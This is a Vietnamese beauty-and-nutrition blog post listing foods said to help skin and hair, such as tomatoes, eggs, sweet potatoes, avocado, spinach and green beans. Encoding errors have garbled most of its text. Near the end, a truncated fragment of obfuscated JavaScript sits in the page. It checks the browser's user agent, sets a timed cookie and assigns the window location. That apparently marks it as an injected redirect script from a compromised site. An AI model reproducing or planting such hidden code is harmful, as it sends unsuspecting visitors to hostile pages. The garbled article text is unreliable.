Chọn bài viết bạn quan tâm
+ (P1)
+ (P2)

Tha��c pha?�m giA?p tA?c A�a??p, da kha�?e

Ba�� sung b??, ca??i bA? xA?i, tra��ng, A�a?�u cA? ve vA�o cha?? A�a�� A?n ha?�ng ngA�y giA?p da tA?c kha�?e A�a??p ta�� bA?n trong, theo Prevention.

 

tomato juice

– CA� chua: Loa??i tha��c pha?�m nA�y va��n na��i tia??ng ba�Yi giA�u cha??t cha��ng oxy hA?a vA� lycopene giA?p ba??o va�� lA�n da d?�a��i tA?c nhA?n gA?y ha??i ta�� mA?i tr?�a�?ng nh?� tia UVB, UVA. ThA?m cA� chua vA�o cha?? A�a�� A?n qua cA?c mA?n salad, canh hay tra��ng rA?n.

– Tra��ng: Tra��ng cha��a 4 khoA?ng cha??t quan tra�?ng lA� ka??m, selen, l?�u hua�?nh vA� sa??t, gA?p pha?�n mang oxy A�a??n nuA?i cA?c nang tA?c kha�?e ma??nh. C?? tha�? thia??u sa??t lA� ma��t trong nha�?ng nguyA?n nhA?n gA?y ra�?ng tA?c, da da?� nha�?t nha??t a�Y pha�? na�?.

huong-dan-cach-tri-nam-bang-trung-ga-con-y-te

– Khoai lang cha��a cha??t cha��ng oxy hA?a beta carotene chuya�?n A�a��i thA�nh vitamin A khi vA�o c?? tha�?. A�n khoai giA?p hoa??t A�a��ng tiA?u hA?a, tha??i A�a��c c?? tha�? dia��n ra tr??n tru, da da?� ha��ng hA�o h??n.

– Qua?? b?? lA� siA?u tha��c pha?�m giA?p da vA� tA?c kha�?e A�a??p. B?? cha��a ngua��n cha??t bA�o ta��t giA?p tA?c bA?ng A�a??p vA� duy trA� A�a�� a?�m ca��a da.

– Rau ca??i bA? xA?i cha��a cha??t sa??t, beta carotene, folate vA� vitamin C gia�? cho nang tA?c kha�?e ma??nh.

cai-bo-xoi

– A?a?�u cA? ve thA�ch ha�?p cho ng?�a�?i A?n chay ba�Yi giA�u A�a??m, ka??m, sa??t.

fdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

3 thoughts on “Tha��c pha?�m giA?p tA?c A�a??p, da kha�?e

Leave a Reply

Your email address will not be published. Required fields are marked *